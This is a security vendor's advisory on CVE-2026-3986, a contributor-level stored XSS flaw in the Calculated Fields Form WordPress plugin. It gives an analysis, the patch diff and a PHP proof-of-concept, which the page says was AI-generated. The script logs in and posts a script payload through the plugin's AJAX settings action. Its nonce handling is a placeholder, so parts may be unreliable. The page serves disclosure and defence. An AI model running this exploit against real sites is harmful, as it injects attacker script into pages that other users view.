Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3986: Calculated Fields Form <= 5.4.5.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings (calculated-fields-form)

CVE ID CVE-2026-3986
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.4.5.0
Patched Version 5.4.5.1
Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3986:
The vulnerability stems from insufficient capability checks and input sanitization in the Calculated Fields Form plugin’s form settings handler. The root cause is in the `cpcff_form.inc.php` file’s `save_settings` method (line 323). The plugin processes form field data from the `fcontent` parameter within `fhtml` field types without proper capability verification for users lacking the `unfiltered_html` permission. The original code performed a conditional sanitization that excluded certain fields, including `fcontent`, from strict HTML filtering. This allowed Contributor-level users to inject arbitrary JavaScript via the `fcontent` parameter when saving form settings. The attack vector targets the plugin’s AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `cpcff_save_settings`. An authenticated attacker with Contributor privileges can submit a POST request containing malicious HTML/JavaScript in the `fcontent` parameter. The payload executes when any user views a page containing the compromised form. The patch adds a capability check (`! current_user_can( ‘unfiltered_html’ )`) to the field exclusion logic and replaces the previous sanitization with `wp_kses_post()` for users without `unfiltered_html` capability. It also changes the `customstyles` field sanitization to `sanitize_textarea_field()`. These changes enforce proper role-based filtering, preventing XSS injection.

Differential between vulnerable and patched code

Code Diff
--- a/calculated-fields-form/cp_calculatedfieldsf_free.php
+++ b/calculated-fields-form/cp_calculatedfieldsf_free.php
@@ -3,7 +3,7 @@
  * Plugin Name: Calculated Fields Form
  * Plugin URI: https://cff.dwbooster.com
  * Description: Create forms with field values calculated based in other form field values.
- * Version: 5.4.5.0
+ * Version: 5.4.5.1
  * Text Domain: calculated-fields-form
  * Author: CodePeople
  * Author URI: https://cff.dwbooster.com
@@ -25,7 +25,7 @@
 }

 // Defining main constants.
-define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.5.0' );
+define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.5.1' );
 define( 'CP_CALCULATEDFIELDSF_MAIN_FILE_PATH', __FILE__ );
 define( 'CP_CALCULATEDFIELDSF_BASE_PATH', dirname( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
 define( 'CP_CALCULATEDFIELDSF_BASE_NAME', plugin_basename( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
--- a/calculated-fields-form/inc/cpcff_form.inc.php
+++ b/calculated-fields-form/inc/cpcff_form.inc.php
@@ -323,14 +323,19 @@
 					$v = preg_replace( '/(b)_styles*=/i', '$1style=', $v);
 					$i_l = strtolower( $i );
 					if (
+						! current_user_can( 'unfiltered_html' ) ||
 						! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) )
 					) {
-						$v = str_replace( '&', 'cff___amp', $v );
-						$v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
- 						$v = str_ireplace( ['<', '>', '&'], ['<', '>', '&'], $v );
- 						$v = str_replace( 'cff___amp', '&', $v );
+						if ( current_user_can( 'unfiltered_html' ) ) { // The plugin accepts advanced tags for users with total control over the website.
+							$v = str_replace( '&', 'cff___amp', $v );
+							$v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
+							$v = str_ireplace( ['<', '>'], ['<', '>'], $v );
+							$v = str_replace( 'cff___amp', '&', $v );
+						} else {
+							$v = wp_kses_post($v);
+						}
 					} elseif ( 'customstyles' == $i_l ) {
-						$v = str_replace( '>', '>', wp_kses( $v, 'strip') );
+						$v = sanitize_textarea_field( $v );
 					}
 				}

--- a/calculated-fields-form/inc/cpcff_page_builders.inc.php
+++ b/calculated-fields-form/inc/cpcff_page_builders.inc.php
@@ -39,7 +39,7 @@
 			if (
 				isset( $_REQUEST['cff-action'] ) &&
 				'cff-gutenberg-editor-config' == $_REQUEST['cff-action'] &&
-				current_user_can( 'edit_posts' )
+				current_user_can( 'edit_posts' ) // This module displays a form preview in the editor. It does not allow modifying the form.
 			) {
 				remove_all_actions( 'shutdown' );
 				die( json_encode( $this->gutenberg_editor_config() ) );
@@ -85,7 +85,7 @@
 									);

 									foreach ($rows as $item) {
-										$options[$item->id] = ['label' => '(' . $item->id . ') ' . $item->form_name];
+										$options[$item->id] = ['label' => esc_html( '(' . $item->id . ') ' . $item->form_name )];
 									}

 								}
@@ -169,7 +169,7 @@

 			$config = array(
 				'url'      => $url,
-				'is_admin' => current_user_can( 'manage_options' ),
+				'is_admin' => current_user_can( apply_filters( 'cpcff_forms_edition_capability', 'manage_options' ) ),
 				'editor'   => CPCFF_AUXILIARY::editor_url(),
 				'forms'    => array(),
 				'templates' => array(),
@@ -187,7 +187,7 @@
 			$forms = CPCFF_FORM::forms_list();

 			foreach ( $forms as $form ) {
-				$config['forms'][ $form->id ] = esc_attr( '(' . $form->id . ') ' . $form->form_name );
+				$config['forms'][ $form->id ] = esc_html( '(' . $form->id . ') ' . $form->form_name );
 			}

 			require_once CP_CALCULATEDFIELDSF_BASE_PATH.'/inc/cpcff_templates.inc.php';
--- a/calculated-fields-form/inc/cpcff_public_int.inc.php
+++ b/calculated-fields-form/inc/cpcff_public_int.inc.php
@@ -142,7 +142,9 @@
 <input type="hidden" name="cp_calculatedfieldsf_pform_psequence" value="_<?php echo esc_attr( CPCFF_MAIN::$form_counter ); ?>" />
 <input type="hidden" name="cp_calculatedfieldsf_id" value="<?php echo esc_attr( $id ); ?>" />
 <input type="hidden" name="cp_ref_page" value="<?php echo esc_attr( CPCFF_AUXILIARY::site_url() ); ?>" />
-<pre style="display:none !important;"><script data-category="functional" type="text/javascript">form_structure_<?php echo esc_js( CPCFF_MAIN::$form_counter ); ?>=<?php print str_replace( array( "n", "r" ), ' ', ( ( version_compare( CP_CFF_PHPVERSION, '5.3.0' ) >= 0 ) ? json_encode( $form_data, JSON_HEX_QUOT | JSON_HEX_TAG ) : json_encode( $form_data ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?>;</script></pre>
+<pre style="display:none !important;"><script data-category="functional" type="text/javascript">form_structure_<?php echo esc_js( CPCFF_MAIN::$form_counter ); ?>=<?php print str_replace( array( "n", "r" ), ' ', ( ( version_compare( CP_CFF_PHPVERSION, '5.3.0' ) >= 0 ) ? json_encode( $form_data, JSON_HEX_QUOT | JSON_HEX_TAG ) : json_encode( $form_data ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput
+// The plugin escapes the attributes when fields are generated by using Purify library.
+?>;</script></pre>
 <div id="fbuilder">
 	<?php
 	if (

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3986 - Calculated Fields Form <= 5.4.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate and obtain WordPress nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HEADER => true
]);
$response = curl_exec($ch);

// Step 2: Extract nonce from admin page (simplified - in practice would parse admin page)
// For demonstration, we assume the attacker has obtained a valid nonce via other means
// The vulnerability does not require a nonce check bypass as the capability check is missing
$nonce = 'EXTRACTED_NONCE';

// Step 3: Craft malicious form settings payload
$form_id = 1; // Target form ID
$payload = '<script>alert("Atomic Edge XSS");</script>';

$post_data = [
    'action' => 'cpcff_save_settings',
    'id' => $form_id,
    'data' => json_encode([
        'fields' => [
            [
                'type' => 'fhtml',
                'fcontent' => $payload
            ]
        ]
    ]),
    '_wpnonce' => $nonce
];

// Step 4: Send exploit request
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => $post_data,
    CURLOPT_REFERER => $target_url . '/wp-admin/'
]);

$result = curl_exec($ch);
curl_close($ch);

echo "Exploit attempt completed. Check form $form_id for XSS.";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School